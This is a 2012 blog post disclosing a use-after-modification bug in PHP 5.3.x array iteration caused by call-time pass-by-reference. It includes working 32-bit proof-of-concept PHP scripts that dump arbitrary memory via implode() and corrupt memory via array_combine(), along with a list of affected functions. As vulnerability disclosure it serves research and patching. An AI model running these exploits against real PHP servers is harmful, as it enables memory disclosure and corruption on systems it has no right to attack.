Saturday, January 21, 2012

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

zend_hash_internal_pointer_reset(input)
loop:
    zend_hash_get_current_data(input, entry)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward(input)

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
loop:
    zend_hash_get_current_data_ex(input, entry, pos)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr1'][0]);
        unset($GLOBALS['arr1'][1]);
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
    }
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);

Below is PoC for memory corruption with array_combine() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr2'][0]);
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
    }
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

1 comment:

  1. why in the __toString methods you use
    $GLOBALS['test1'] and not $GLOBALS['arr1'] aor
    $GLOBALS['arr2'] , is that ok or is it a mistake?

    also when you do
    unset($GLOBALS['arr2'][0]);

    is the associated Bucket + zval freed or just the zval is freed?

    ReplyDelete